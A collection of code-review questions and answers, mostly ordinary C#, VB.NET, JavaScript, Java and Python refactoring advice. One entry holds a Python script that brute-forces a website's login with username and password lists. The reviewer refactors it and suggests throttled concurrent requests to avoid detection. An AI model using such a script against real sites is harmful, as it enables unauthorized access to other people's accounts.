Reverse character order of substrings delineated by white space chars The Challenge: Given a string, return a string where each word is reversed individually without changing its position. EDIT: (i.e.: the input "hello world I am a frog?" should produce the output: "olleh dlrow I ma a gorf?")
Thoughts and questions: Perhaps I was cheating the spirit of the challenge by using string builder? What do you think?
Complexity? Would the complexity be? I feel like it is O(n) since it will basically look at almost every char twice. I'm thinking there is a more efficient way to do it where n is just looked at once, but I think that to achieve that we will double the use of memory. Not that that is a problem, but I think that is the trade off.
Coding tests tend to be timed and I did this quickly. In evaluating the code, how do you factor in the pressure of time as you administer the test? I am talking myself into the idea that the answer should have been creating a new string and entering the chars one at a time using pointers so that each string char is looked at once and moved once. Is that really better then this solution? Perhaps there are points for easily readable code? Do you think this is readable?
    public static string ReverseOnlyWords(string InitialValue)
    {
        if (InitialValue == null)
        {
            throw new System.NullReferenceException();
        }
        StringBuilder seperatedValue = new StringBuilder();
        StringBuilder currentWord = new StringBuilder();
        foreach (char c in InitialValue)
        {
            if (c == ' ' || c == '.' || c == ',')
            {
                seperatedValue.Append(Reverse(currentWord.ToString()));
                seperatedValue.Append(c.ToString());
                currentWord.Clear();
            }
            else
            {
                currentWord.Append(c.ToString());
            }
        }
        seperatedValue.Append(Reverse(currentWord.ToString()));

        string resultValue = seperatedValue.ToString();
        return resultValue;
    }

In Reverse, perhaps I should have simply created a copy of toBeReversed and inserted/replaced characters in the reversed order instead of a string builder?
    static public string Reverse(string toBeReversed)
    {
        if (toBeReversed == null)
        {
            throw new System.NullReferenceException();
        }
        StringBuilder reversedString = new StringBuilder();
        for (int i = (toBeReversed.Length - 1); i >= 0; i--)
        {
            reversedString.Append(toBeReversed[i].ToString());
        }
        return reversedString.ToString();
    }

First, NullReferenceException is used by the CLR, and it's the default exception for  nullity in most cases. The ArgumentNullException used to prevent NullReferenceException from thrown, and gives more meaningful exception to your code.
So, in your current code, if you pass a null, the thrown exception message would be something like
Object reference not set to an instance of an object

. This would not give you any hint on what's going on your code, so if you used
throw new ArgumentNullException(nameof(InitialValue));

this would give you something like :
Value cannot be null. (Parameter 'InitialValue')

isn't clearer to point out the issue ?
Another point is that you don't need to throw an exception all the time as a way to handle your code. Only throw exception when it's critical to the application. As exceptions like a Stop sign to the application, whenever it's thrown, it stops the application from running the code. if the code is related to other dependencies such as required class, extensions, databases, ..etc. Then, this code should throw an exception if it leaks the dependency requirements.
In your case, it's not critical to pass null, yes it would break the code, but also it's not required to stop the code just for this, as you can simply return null to the caller. Same thing if Empty string or Whitespace passed. because you
so if you do this :
if(string.IsNullOrWhitespace(value)) { return value; }

would be enough and better than thrown exception for this case.
For the methods ReverseOnlyWords and Reverse I don't see what was the reason behind splitting them?. It should be one method that does the process. having two methods is confusing, because it's required to us (or any developer) to read both methods to understand the logic and to know which to use ! of course, splitting methods can be useful if there are independent procedures inside the method that can be reused or simply outside the main scope of the method, but not in your current code.
Using StringBuilder is a good practice. However, you only need one, the other one is unnecessary. Also, you don't need ToString() when appending char in StringBuilder
this line :
if (c == ' ' || c == '.' || c == ',') { ... }

punctuations can't be handled like this, because if you keep it that way, you will miss other punctuations. if we assumed you'll process English context, then you only covered 3 out of 14 punctuations that I know of. What about other languages? So Instead, use the built in char.IsPunctuation which covers most of the punctuations that in UnicodeCategory.

Complexity? Would the complexity be? I feel like it is O(n) since it
will basically look at almost every char twice.

You're using 3 loops, so your complexity is \$O(N^2)\$. though, it can be simplified to two loops (one for the words, the other for the characters), and one StringBuilder is enough. However, the overall code can be written as follow :
public string Reverse(string value, char separator)
{
    if(string.IsNullOrEmpty(value)) { return value; } // just return the value, leave the handling to the caller.

    var words = value.Split(separator); // split it to words by spaces

    // initiate a string builder with a fixed size based on the original string size.
    // setting the capacity would avoid oversized allocation.
    var resultBuilder = new StringBuilder(value.Length);

    // iterate over words
    for(int x=0; x < words.Length; x++)
    {
        // store the tailing punctuation
        char? punctuation = null;
        // iterate over characters in reverse
        for(int c = words[x].Length - 1; c >= 0; c--)
        {
            var current = words[x][c];

            if(char.IsPunctuation(current))
            {
                if(c == 0) // for leading punctuation
                {
                    // get the first poistion of the current word
                    var index = resultBuilder.ToString().Length - (words[x].Length - 1);

                    // insert the leading punctuation to the first poition (its correct poistion)
                    resultBuilder.Insert(index, current);
                }
                else
                {
                    // store tailing punctuation to insert it afterward
                    punctuation = current;
                }

            }
            else
            {
                // everything else, just append
                resultBuilder.Append(current);
            }

      }

        if(punctuation != null)
        {
            // insert tailing punctuation
            resultBuilder.Append(punctuation);
            punctuation = null; //reset
        }

        resultBuilder.Append(separator);
    }

    return resultBuilder.ToString();
}

this is just a revision of your code in its simplest form possible (at least to my knowledge) and it's one way process (process each word and character once). Using pointers would not increase the overall performance to the point where it would be recommended!. Array.Reverse also can be used, but still might add more memory allocation and slow down the performance specially with large strings.
Other missing part that needs to be counted when dealing with strings is Unicode which in some cases invalidate the results if not handled correctly.
UPDATE :
Here is another version that uses one loop, and two StringBuilder (one stores the results, and one for the processing).
public static string ReverseString(string value , char separator)
{
    if(string.IsNullOrEmpty(value)) { return value; }

    var tempBuilder = new StringBuilder(value.Length);

    var resultBuilder = new StringBuilder(value.Length);

    var isCompleted = false;

    for(int x = 0, index = value.Length - 1; index >= 0; index--, x++)
    {
        var current = value[index];

        if(current == separator)
        {
            isCompleted = true;
        }
        else
        {
            tempBuilder.Append(current);

            if(index == 0)
            {
                isCompleted = true;
            }
        }

        if(isCompleted)
        {
            // handle the lead and tail punctuations
            if(char.IsPunctuation(tempBuilder[0]) && char.IsPunctuation(tempBuilder[tempBuilder.Length - 1]))
            {
                var tail = tempBuilder[0];
                var lead = tempBuilder[tempBuilder.Length - 1];
                tempBuilder.Remove(0 , 1);
                tempBuilder.Remove(tempBuilder.Length - 1 , 1);
                tempBuilder.Insert(0 , lead);
                tempBuilder.Append(tail);
            }
            else if(char.IsPunctuation(tempBuilder[0]))
            {
                tempBuilder.Append(tempBuilder[0]);
                tempBuilder.Remove(0 , 1);
            }
            else if(char.IsPunctuation(tempBuilder[tempBuilder.Length - 1]))
            {
                tempBuilder.Insert(0 , tempBuilder[0]);
                tempBuilder.Remove(tempBuilder.Length - 1 , 1);
            }

            //store the results
            resultBuilder.Insert(0 , separator);
            resultBuilder.Insert(0 , tempBuilder);

            //reset
            tempBuilder.Clear();
            x = 0;
            isCompleted = false;

        }
    }

    return resultBuilder.ToString();
}

it may need more work, but I thought it would be useful to share it. It still lakes the Unicode handling though.


Padded Version.ToString() extension I want to convert a Version object to a string, but with the parts padded to a given width. E.g. 0.22.1 with parts padded to a width of 2 when converted to string would be "00.22.01"

A simple task, simple enough that I'm surprised it's not part of the class already. I'm not that used to .Net and it's string handling though, could my implementation be more efficient given that I might call it quite often? Or are there already built-in function(s) that might do this for me?

Option Strict On
Option Explicit On

Imports System.Runtime.CompilerServices
Imports System.Text

Module BetterVersion

    <Extension()> Public Function ToString(version As Version, fieldCount As Integer, fieldPadding As Integer) As String
        Dim Builder As StringBuilder = New StringBuilder()
        ' Convert the version to a string and split the result at the version
        ' delimiter (i.e. ".")
        Dim Parts As String() = version.ToString(fieldCount).Split("."c)

        If fieldCount = 0 Then
            Return String.Empty ' No parts so no string
        ElseIf fieldCount = 1 Then
            ' Single part with padding and without trailing delimiter
            Builder.Append(Parts(0).PadLeft(fieldPadding, "0"c))
        Else ' fieldCount >= 2
            For i As Integer = 0 To fieldCount - 2
                ' All but last part with padding and trailing delimiter
                Builder.AppendFormat("{0}.", Parts(i).PadLeft(fieldPadding, "0"c))
            Next
            ' Final part with padding and without trailing delimiter
            Builder.AppendFormat("{0}", Parts(fieldCount - 1).PadLeft(fieldPadding, "0"c))
        End If

        Return Builder.ToString()
    End Function
End Module

version.ToString(fieldCount) already returns the required amount of numbers. The first character of a variable is usually lower case. Parts contains the numbers in an array, you just need to modify that array and use the String.Join to get your number back. If you pass fieldCount of 0, you don't need to split anything.

<Extension()> Public Function ToString(version As Version, fieldCount As Integer, fieldPadding As Integer) As String

    If fieldCount = 0 Then
        Return String.Empty
    End If

    Dim parts As String() = version.ToString(fieldCount).Split("."c)

    For i As Integer = 0 To parts.Count - 1
        parts(i) = parts(i).PadLeft(fieldPadding, "0"c)
    Next

    Return String.Join(".", parts)
End Function

An alternative would be to look at the code and do your own instead of splitting.


Scroll to the top of an element when document is loaded Intention: Automatically scroll the window to the top of a DOM element when the document is loaded.

via JavaScript:

window.onload = function(){
    document.getElementById('foo').scrollIntoView(true);
};

Questions and Concerns:

Is there a more compact and/or smarter technique?
Does this technique pose issues or potential conflicts?
With the above said, should it matter where on the document it's loaded? If so, what's the best location? I've already studied this question and its references closely and I'm led to believe it's best to have this kind of script located toward the bottom the document.

Three concerns:

Error if there is not element called 'foo'
I have no idea what that boolean in the function is for.  Passing booleans at parameters is  very bad.  I have no idea what happens if I were to pass it false or any other value. Not scroll into view? I know that it is for topAlign but why not leave it out.
you can't use the onload event again without messing it up.


Matrix column switching I'm currently working in the math library for a game framework that I'm writing and am working to improve some functionality that was affected during a refactor.

Formerly, my Matrix4.SwapColumns(int, int) function looked like this:

/// Documentation
public void SwapCols(int i, int j)
{
    for(int k = 0; k < 4; k++)
    {
        temp = this[k][i];
        this[k][i] = this[k][j];
        this[k][j] = temp;*/
    }
}

This worked because Matrix4[x][y] was a two-dimensional float array, which could be accessed and changed in one step. Now, since I'm using a new version of the operator as follows:

public Vector4 this[int a]
{
    get
    {
        if (a > 3 || a < 0) return Vector4.Zero;
        return (a == 0 ? row1 : (a == 1 ? row2 : (a == 2 ? row3 : row4)));
    }
    set
    {
        if (a == 0) row1 = value;
        else if (a == 1) row2 = value;
        else if (a == 2) row3 = value;
        else if (a == 3) row4 = value;
    }
}

The original method is no longer possible since the values that are part of the Vector4 are immutable, due to a C# language feature relating to properties (which I usually love having, since it makes sure you don't think you're reassigning the variable in one call to the properties' actual method implementations).

Here's the code review I need. Essentially, the new SwapColumns method looks like this:

/// Documentation
public void SwapCols(int i, int j)
{
    // New arguement checking goes here
    int[] indicies = new int[] { 0, 1, 2, 3 };
    indicies[i] = j;
    indicies[j] = i;

    Vector4 tempRow = Vector4.Zero;

    int[] positions = new int[4];
    for (int row = 0; row < 4; row++)
    {
        tempRow = this[row];
        for (int col = 0; col < 4; col++)
        {
            if (indicies[col] != col)
            {
                tempRow[col] = this[row][indicies[col]];
            }
        }
        this[row] = tempRow;
    }
}

Without changing the fact that my Matrix4[] returns a Vector4, since that API needs to stay the same, how can I improve this SwapCols method?

Vector4

An invalid input (out of range index) should never silently return an arbitrary result. If you just return Vector4.Zero you will hide bugs in your code. Computations will be wrong and you will need to debug step by step your code to understand where. Especially for complex expressions this is tedious and time consuming. Throw an exception for wrong inputs!

Also you should use a proper name for parameters, a is almost meaningless.

if (index > 3 || index < 0)
    throw new ArgumentOutOfRangeException("index", index, "Must be in range [0..4)");

Logic to return element value is hard to read:

  return (a == 0 ? row1 : (a == 1 ? row2 : (a == 2 ? row3 : row4)));

Let's see few alternatives:

switch (index) {
    case 0: return row1;
    case 1: return row2;
    case 2: return row3;
    case 3: return row4;
    default:
        throw new ArgumentOutOfRange(...);
}

Or:

if (index == 0)
    return row1;
else if (index == 1)
    return row2;
else if (index == 2)
    return row3;
else if (index == 3)
    return row4;
else
    throw new ArgumentOutOfRange(...);

Why did you name row1 variable you access with index 0? It's an implementation detail but it may cause subtle bugs. Keep names self-descriptive and coherent (BTW why vector elements are called rowX, can't it be a column vector?)

However bigger problem is logic itself. There is no reason to have four separate variables. Array access is pretty fast and highly optimized (moreover using that if logic you may highly impact performance if JIT compiler won't generate CMOV assembly instruction instead of multiple CMP and JZ (because they're not branch-predictor friendly). Your final code should then be:

private Vector4 _columns = ...

public Vector4 this[int columnIndex]
{
    get { return _columns[columnIndex]; }
    set
    {
        if (value == null)
            throw new ArgumentNullException();

        _vectors[columnIndex] = value;
    }
}

Matrix4

With Vector4 simplified code you will also simplify SwapColumns(), essentially it may be your original unchanged code. What's the C# feature related to properties you want to have? If Vector4 is an immutable type then you may go with a struct (and note it may be mutable internally).

In general if you're coding for performance in a multi-threaded environment (like a game) I think you should seriously consider to keep your Matrix4 an immutable struct. When you really need to swap columns you create a new object. If it's not an operation you perform thousands times per second it will let you (and eventually JIT compiler) to perform optimizations and avoid locks.

Also take a look to SIMD extensions in .NET Framework. SIMD instructions may greatly improve performance.


ASP.NET MVC using Repository pattern I am just trying to use ASP.NET MVC using repository pattern.  Am I doing something wrong here?

Model - Contains the model

public class Contact
{
    public int Id { get; set; }
    public string FirstName { get; set; }
    public string LastName { get; set; }
    public string EmailAddress { get; set; }
}

Repository interface - Interface

public interface IContactRepository
{
    void Create(Contact contact);
    void Delete(int contactId);
    void Save(Contact contact);
    Contact Retrieve(int contactId);
    IEnumerable<Contact> Select();
}

Repository class

public class ContactRepository : IContactRepository
{
    private AddressBookDb addressBookdb = new AddressBookDb();

    public void Create(Contact contact)
    {
        addressBookdb.Contacts.Add(contact);
        addressBookdb.SaveChanges();
    }

    public void Save(Contact contact)
    {
        Delete(contact.Id);
        Create(contact);
    }

    public void Delete(int contactId)
    {
        Contact contact = Retrieve(contactId);
        if (contact != null)
        {
            addressBookdb.Contacts.Remove(contact);
            addressBookdb.SaveChanges();
        }
    }

    public Contact Retrieve(int contactId)
    {
        return addressBookdb.Contacts.FirstOrDefault<Contact>(c => c.Id == contactId);
    }

    public IEnumerable<Models.Contact> Select()
    {
        return addressBookdb.Contacts.ToList<Contact>();
    }
}

Controller class

public class ContactController : Controller
{
    IContactRepository contactRepository = null;
    public ContactController() : this (new ContactRepository())
    {

    }

    public ContactController(IContactRepository contactRepository)
    {
        this.contactRepository = contactRepository;
    }

    [HttpPost]
    public ActionResult Edit(Contact contact)
    {
        if (ModelState.IsValid)
        {
            contactRepository.Save(contact);
            return RedirectToAction("Index");
        }
        return View(contact);
    }
}

I have a very good solution for you. See the below two blog posts:

  Generic Repository Pattern - Entity Framework, ASP.NET MVC and Unit
  Testing Triangle

  How to Work With Generic Repositories on ASP.NET MVC and Unit Testing
  Them By Mocking

What I can suggest more is this:

Implementing IDisposable:

Implement IDisposable on your repository and dispose them on your controller by overriding the Controller.Dispose method. Sample:

IContactRepository:

public interface IContactRepository : IDisposable {

    //same as above
}

Add the below code to your ContactRepository class:

private bool disposed = false;

protected virtual void Dispose(bool disposing) {

    if (!this.disposed)
        if (disposing)
            addressBookdb.Dispose();

    this.disposed = true;
}

public void Dispose() {

    Dispose(true);
    GC.SuppressFinalize(this);
}

On your controller, add this code:

protected override void Dispose(bool disposing) {

    contactRepository.Dispose();

    base.Dispose(disposing);
}


Setting and clearing setTimeout() inside of an event handler I have an event handler function which every time is triggered should clear a setTimeout() and set a new timeout.
Now the callback for the timeout has to take few arguments, for example the event object received by the handler.
And that's it. I did it, but I believe that my solution is not optimal, nor the cleanest:

let timer;

const handler = (event, type) => {

    clearTimeout(timer);

    if(type === 'CHANGE') timer = setTimeout(callback, 500, { argumentsForTheCallBack });
}

As you can see I have my timer as a global variable, even though I need it only in the event handler.
Is there a way to make the handler self-contained?
I am interested in ECMAScript solutions as well as solution using React.js syntax (in my original code the callback is a dispatcher for a useReducer hook)

Since you mention useReducer React hook I will assume you are using a functional component and thus can use other React hooks.
I suggest:

Use a React ref to hold a reference to the timer (versus global variable).
Use an useEffect hook to clear any running timeouts in the case the component unmounts before the timeout expires. Provide an empty dependency array so the effect callback is called only once. Here it is just to return the cleanup function to clear any running timeouts.

Code:
import { useEffect, useRef } from 'react';

...

// in component
const timerRef = useRef(null);

useEffect(() => {
  return () => clearTimeout(timerRef.current);
}, []);

const handler = (event, type) => {
  clearTimeout(timerRef.current);

  if (type === 'CHANGE') {
    timerRef.current = setTimeout(callback, 500, { argumentsForTheCallBack });
  }
}

Why provide cleanup function from useEffect?
If you attempt to update state of an unmounted component you'll get a React warning stating:

Warning: Can’t perform a React state update on an unmounted component.
This is a no-op, but it indicates a memory leak in your application.
To fix, cancel all subscriptions and asynchronous tasks in a useEffect
cleanup function.

It's just a warning though, so if you are ok with the warning in non-production builds and you know you don't actually have a memory leak (open sockets, connections, subscriptions, etc...) then you can likely safely ignore them.
In general you should strive to write code that doesn't generate warnings though, and this is a warning that is easily preventable.


Detecting keyboard input I want to use JavaFX as a solution to Java's issues with buffered input making things like 'press any key to continue' not easy.

I plan to use an event listener to detect keyboard input. But before I start down that road I want to know if this is on the right track.

Is the code below a good way to use JavaFX to implement a shell-based program?

Is this the minimum JavaFX code required to do shell?
Am I missing something that's gonna bite me down the road (like some kind of object de-referencing: I am very new to JavaFX so I don't have a clue!)
Is it OK to consider the start method as effectively now my main method?

import java.util.Scanner;
import javafx.application.Application;
import javafx.application.Platform;
import javafx.stage.Stage;

public class TextBased extends Application {
    public static void main(String argv[]) {
        Application.launch(argv);
    }

@Override
public void start(Stage primaryStage) {
    System.out.println("Hello world");
    Scanner scanner = new Scanner(System.in);
    scanner.nextLine();
    Platform.exit();
    }
}

There's not a lot to review here, the only thing that's jumping at me is that this:

@Override
public void start(Stage primaryStage) {
    System.out.println("Hello world");
    Scanner scanner = new Scanner(System.in);
    scanner.nextLine();
    Platform.exit();
    }

Should be indented like this:

@Override
public void start(Stage primaryStage) {
    System.out.println("Hello world");
    Scanner scanner = new Scanner(System.in);
    scanner.nextLine();
    Platform.exit();
}

  Is this the minimum JavaFX code required to do shell?

Well technically printing "Hello world" and waiting for the ENTER key is not needed if what you want is the minimum code. But then, what would your program be doing :-)

  Am I missing something that's gonna bite me down the road (like some kind of object de-referencing: I am very new to JavaFX so I don't have a clue!)

I know nothing of JavaFX, but if garbage collection is anywhere like .net, you have nothing to worry about because AFAICT you're not creating any object that's holding on to a reference that would prevent its garbage collection.

  Is it OK to consider the start method as effectively now my main method?

Probably. But it's not immediately clear what happens to argv.


Parsing an XML File for a single word/phrase this is a small part of my code that allows me to request a file through a load balancer, reading this XML file gives me the server's name (only node inside the XML Document) if the machine isn't inside the LAN then it won't be able to query the website.  I give it a longer timeout to make sure that I don't get a ton of errors emailed to me if the network is laggy.

Here is the XML file Structure.

<?xml version="1.0" encoding="utf-8"?>
<Server>
    JSODYAPP01T
</Server>

Here is the Code that retrieves the information

WebRequest request = WebRequest.Create(xmlLocation);
request.Timeout = 90000;

using (WebResponse response = request.GetResponse())
using (XmlReader xmlReader = XmlReader.Create(response.GetResponseStream()))
{
    while (xmlReader.Read())
    {
        if (xmlReader.NodeType == XmlNodeType.Text)
        {
            serverName = xmlReader.Value.ToString();
            serverName = serverName.Replace("\r", "");
            serverName = serverName.Replace("\n", "");
            serverName = serverName.Replace(" ", "");
        }
    }
}

is there a better way of doing this?

Linq to XML is your friend

var serverName = XDocument.Load(response.GetResponseStream()).Element("Server").Value;

Your code will be easily broken if someone adds a node to the XML, and your code should be as flexible as possible. Never do such an assumption (It's gonna be the first node)

Your method is blocking, consider making it asynchronous.

using (var response = await request.GetResponseAsync()){

}

And by the way, C# got type inference, so why bother typing the type? Use var instead

var request = WebRequest.Create(xmlLocation);


Try every username and password from a list on a website This code will be brute force specific site using http POST method.

 def BruteForce(url, username, password):
        userfile = open(username, "r")
        userlist = userfile.read()
        userlist = userlist.split("\n")

        passfile = open(password, "r")
        passlist = passfile.read()
        passlist = passlist.split("\n")

        for i in userlist:
            for j in passlist:
                data = {"username":i, "password": j}
                data2 = {"username":i, "password": j}
                data = urllib.urlencode(data)
                request = urllib2.Request(url, data)

                response = urllib2.urlopen(request)
                payload = response.read()

                isconnect = "True"
                if(payload.find(isconnect)>=0):
                    print "Found, the password is: " + data2["password"] + " and the username is: " + data2["username"]
                    return

                else:
                    pass

Is this code efficient?
How I can improve my code?
Should I use multithreading mechanism to speed up my script?

First, improving the code:

Reading lines from a file is as easy as open(name, 'r').readlines(). No need for three lines where one is enough.
data and data2, are on the face of it redundant (and are badly named). The redundancy is only resolved because you reuse data – not a good idea. Use proper variable naming and use new variables for a new purpose, don’t reuse variables.

(And in general, choose more relevant names.)
If you don’t use the else branch in a conditional, don’t write it.
Separation of concerns! This method tries to find a way into a website, not print stuff to the console. Return the result instead. That way, the function can be properly used.

This leaves us with:

def BruteForce(url, userlist_file, passlist_file):
    userlist = open(userlist_file, 'r').readlines()
    passlist = open(passlist_file, 'r').readlines()

    for username in userlist:
        for password in passlist:
            data = { 'username': username, 'password': password }
            encoded = urllib.urlencode(data)
            request = urllib2.Request(url, encoded)
            response = urllib2.urlopen(request)
            payload = response.read()

            isconnect = 'True'
            if(payload.find(isconnect) >= 0):
                return data

    return { } # Nothing found

Now to your question:

  Is this code efficient?

Not really. The problem isn’t so much the code in itself, it’s more the fact that HTTP requests are generally quite slow, but the most time is spent waiting for data. If you do them sequentially (and you do), most of the script’s running time is spent waiting.

This can be drastically improved by sending several requests concurrently. This doesn’t even need multithreading – you can just open several connections in a loop, and then start reading from them. Even better would be to read asynchronously. Unfortunately, urllib doesn’t support this – but other libraries do.

That said, you cannot simply bombard the web server with tons of requests. After all, your script is malicious and you don’t want the web server to notice you. So you need to fly under the radar – send just as many concurrent requests as the server allows without being blocked immediately.

Finding this number is tricky and requires guesswork and a bit of luck. If you are lucky, the server is badly configured and won’t mind lots of connections. If you want to stay on the safe side, stay way low.

I have no idea, nor much interest in, how to engineer such an attack.


Finding the maximum distance from the starting node I've tried everything to make my program faster but with 250 nodes my code takes around 9 seconds to print the result, and with 5000 nodes it took around 260 seconds.

Is there a way to make my program faster?

I took the BFS function from here.

  The site(connections) should consist of three towns each of which is connected to
  directly the other one by a road. The distance between two towns A and
  B is the minimum number of pairs of directly connected towns on the
  way from A to B. Two towns are connected directly by a road R if there
  is no other town on R between A and B. The distance of any possible
  site from the capital city is equal to the sum of the distances from
  each of the three towns representing the site from the capital city.

Output: the maximum possible distance of a site from the capital city, the number of all sites which are located at the maximum distance from the capital city.

  there are two most distant sites from the capital in node 9, the sites
  are {0, 1, 3} and {2, 3, 5} and their distance from the capital is 10

Input first line (nodes_count, pairs_number, capital)
Next all the pairs

Input

10 17 9
0 1
0 3
1 3
1 4
2 3
3 4
2 5
3 5
3 6
4 6
4 7
5 6
6 7
6 8
7 8
7 9
8 9

Output

10 2

My code

from collections import defaultdict
from queue import Queue

def read_nodes(pairs_number):
    for _ in range(pairs_number):
        yield map(int, input().split())

def parse_input(tree):
    nodes_count, pairs_number, capital = map(int, input().split())
    for node1, node2 in read_nodes(pairs_number):
        tree[node1].append(node2)
        tree[node2].append(node1)
    return tree, capital, nodes_count

def traverse_path(fromNode, toNode, nodes):
    def getNeighbours(current, nodes):
        return nodes[current] if current in nodes else []

    def make_path(toNode, graph):
        result = []
        while 'Root' != toNode:
            result.append(toNode)
            toNode = graph[toNode]
        result.reverse()
        return result

    q = Queue()
    q.put(fromNode)
    graph = {fromNode: 'Root'}

    while not q.empty():
        current = q.get()
        for neighbor in getNeighbours(current, nodes):
            if neighbor not in graph:
                graph[neighbor] = current
                q.put(neighbor)
        if current == toNode:
            return make_path(toNode, graph)
    return []

def distant_sites(graph_dic, capital, nodes_count):
    distance_with_connections = defaultdict(list)
    node_distance = {}
    for towns in range(nodes_count):
            towns_distance = len(traverse_path(capital, towns, graph_dic)) - 1
            node_distance[towns] = (towns_distance)
    for town1, neighbours in graph_dic.items():
        for town2 in neighbours:
            if town1 > town2:
                for neighbour_of_town2 in graph_dic[town2]:
                    if town2 > neighbour_of_town2:
                        if neighbour_of_town2 in neighbours:
                            town_connection = (town1, town2, neighbour_of_town2)
                            distance = (node_distance[town1]) + (node_distance[town2]) + (node_distance[neighbour_of_town2])
                            distance_with_connections[distance].append(town_connection)
    max_distance = max(distance_with_connections)
    return max_distance, len(distance_with_connections[max_distance])

if __name__ == '__main__':
    graph_dic, capital, nodes_count = parse_input(defaultdict(list))
    max_distance, number_of_connections = distance_sites(graph_dic, capital, nodes_count)
    print(max_distance, number_of_connections)

The code does not work because of a typo — there is a call to distance_sites but there is no such function.
There are no docstrings. What do these functions do? How do I call them?
In order to improve the performance, we need to measure it, and in order to do that, it's helpful to be able to make test cases of arbitrary sizes. So let's write a test case generator:

from itertools import product

def test_case(n):
    """Construct a graph with n**2 nodes and O(n**2) triangles, and return
    a tuple (graph, capital, number of nodes).

    """
    graph = defaultdict(list)
    for i, j in product(range(n), repeat=2):
        k = i * n + j
        if i < n - 1:
            graph[k].append(k + n)
            graph[k + n].append(k)
        if j < n - 1:
            graph[k].append(k + 1)
            graph[k + 1].append(k)
        if i < n - 1 and j < n - 1:
            graph[k].append(k + n + 1)
            graph[k + n + 1].append(k)
    return graph, 0, n * n

Then we can easily measure the performance of the code using timeit.timeit:

>>> from timeit import timeit
>>> timeit(lambda:distant_sites(*test_case(50)), number=1)
51.7171316598542

with \$n=50\$ the graph has 2,500 nodes and 4,802 triangles.
queue.Queue is a thread-safe data structure intended for use by multi-threaded programs. It has to take and release a lock for every operation, so it is overkill to use this in a single-threaded program. It is more than ten times faster to use collections.deque instead:

>>> timeit(lambda:distant_sites(*test_case(50)), number=1)
4.451224883086979

The code computes the distance from the capital to each town by running a separate breadth-first search for each town. But this repeats a lot of work: in the course of finding the distance to town A, the breadth-first search will have to visit towns B, C, D, and so on. It would make sense to remember the distance to each town as we visit it, and so compute the distances from the capital to all the towns in one go:

from collections import deque

def distances(graph, origin):
    """Return a dictionary mapping each node in graph to its distance from
    the origin.

    """
    result = {origin: 0}
    visited = set([origin])
    queue = deque([origin])
    while queue:
        node = queue.popleft()
        distance = result[node] + 1
        for neighbour in graph[node]:
            if neighbour not in visited:
                result[neighbour] = distance
                visited.add(neighbour)
                queue.append(neighbour)
    return result

This gives a couple of orders of magnitude speedup on the test case:

>>> timeit(lambda:distant_sites(*test_case(50)), number=1)
0.030185375828295946

The code for finding the most distant sites looks at all triangles. But this likely involves a lot of wasted effort. For example, suppose we find a triangle whose nodes have distance 48, 49 and 50 from the origin (with sum 147). Now there is no need to look at any triangle unless it contains a node with distance \${147\over 3} = 49\$ or more. So if we sort the nodes in reverse order by their distance from the origin and just remember the best-scoring site, then we may not have to consider very many sites before we know that we have found the most distant one.

def distant_sites(graph, origin):
    """Return the pair (max_site_dist, site_count), where max_site_dist is
    the maximum distance of any site in the graph from the origin, and
    site_count is the number of sites at that distance. A "site" is a
    triangle of nodes, and its distance from the origin is the sum of
    the distances of the three nodes.

    """
    distance = distances(graph, origin)
    nodes = sorted(((d, n) for n, d in distance.items()), reverse=True)
    max_site_dist = 0
    site_count = 0
    for dist1, node1 in nodes:
        if dist1 * 3 < max_site_dist:
            break
        neighbours = graph[node1]
        for node2 in neighbours:
            dist2 = distance[node2]
            if (dist2, node2) >= (dist1, node1):
                continue
            for node3 in graph[node2]:
                if node3 not in neighbours:
                    continue
                dist3 = distance[node3]
                if (dist3, node3) >= (dist2, node2):
                    continue
                site_dist = dist1 + dist2 + dist3
                if site_dist > max_site_dist:
                    max_site_dist = site_dist
                    site_count = 1
                elif site_dist == max_site_dist:
                    site_count += 1
    return max_site_dist, site_count

The speedup you get from this optimization depends on the kinds of graph you feed it (if there are few sites then it won't make much difference). For my test case we get about 40% speedup:

>>> timeit(lambda:distant_sites(*test_case(50)), number=1)
0.017997111193835735


Long conditionals in ifs Very easy question for these who spend some time on analyzing code written by co-workers.

When I write my code, I do my best to write it in a very, extremely readable way. But sometimes I have an impression, that I write it too easy... Simple example:

When I see such a code:

public Category getCategoryType(Component components){
        if(component.hasSensor() && component.hasInputUnit && component.isValid() && !component.isSuspended()){
            return Category.TYPE_A;
        }
}

the first thing I do is changing it into:

    public Category getCategoryType(Component components){
            boolean hasSensor = component.hasSensor();
            boolean hasInput = component.hasInputUnit();
            boolean isValid = component.isValid();
            boolean isNotSuspended = !component.isSuspended();

            if(hasSensor && hasInput && isValid && isNotSuspended){
                return Category.TYPE_A;
            }
        }

One of my collegue told me politely, that it is not necessary, because people can read a little more complicated code. But I think, that someone who will read this ode after me, will have a easier task (despite the fact, that I make this function a little bit longer)

Question for you:
Do you think, that such changes in code are senseless?

Maybe only formatting stuff is sufficient:

public Category getCategoryType(Component components){
        if(component.hasSensor() &&
           component.hasInputUnit &&
           component.isValid() &&
           !component.isSuspended()){
               return Category.TYPE_A;
        }
}

Readability is extremely important, particularly in large projects with many programmers involved with the same code. What you do, using local Boolean variables to clarify potentially complex conditions, is a very good way of improving readability that I try to imprint on my co-workers.

That said, in your example, if I wrote that method from scratch, I would do it similarly to your first re-write. However, if I just happened upon the existing code, I would do just about exactly as your second re-write. It is good enough, and I do not really like to change other peoples code unless it is either incorrect, or directly violates the coding standard (which it incidentally does two-fold: The conditional line is too long, and our standard also tells us to place sub-conditions on separate lines).

So, in my humble opinion: You have it right - I like how you do it, and you should take pride in writing readable code. But do not waste time on re-writing working code when a simple re-formatting is good enough.


Adding two big integers represented as strings class MyClass{
    static Integer carry = 0;
    public static void main(String args[]){
        String s1 = "7654729850328997631007285998163550104";
        String s2 = "5980139243970186632651869926335829102";
        add(s1, s2);
    }

    public static void add(String a, String b){
        ArrayList<String> res = new ArrayList<String>();
        StringBuilder myString = null;
        int i = a.length() - 1;
        int j = b.length() - 1;
        while(true){
            int i1 = Integer.parseInt(Character.toString(a.charAt(i)));
            int i2 = Integer.parseInt(Character.toString(b.charAt(j)));
            Integer i3  = i1 + i2 + carry;
            if(i3 > 9){
                carry = 1;
                i3 = i3 - 10;
            }else carry = 0;
            res.add(i3.toString());
            i--;j--;
            if(i < 0){
                res.add(carry.toString());
                break;
            }
        }
        Collections.reverse(res);
        for(String r : res){
            System.out.print(r);
        }
    }
}

This program adds 2 numbers whose length is greater than limit of Long. I think my logic is kind of bulky.  Can something be done to improve this?

Loop structure's OK, logic's reasonably good. There is obviously a Java library alternative of BigInteger, but I assume you knew that. Some efficiency issues with excessive toString() and string-ification of what could be character operations.

Here are some tips:

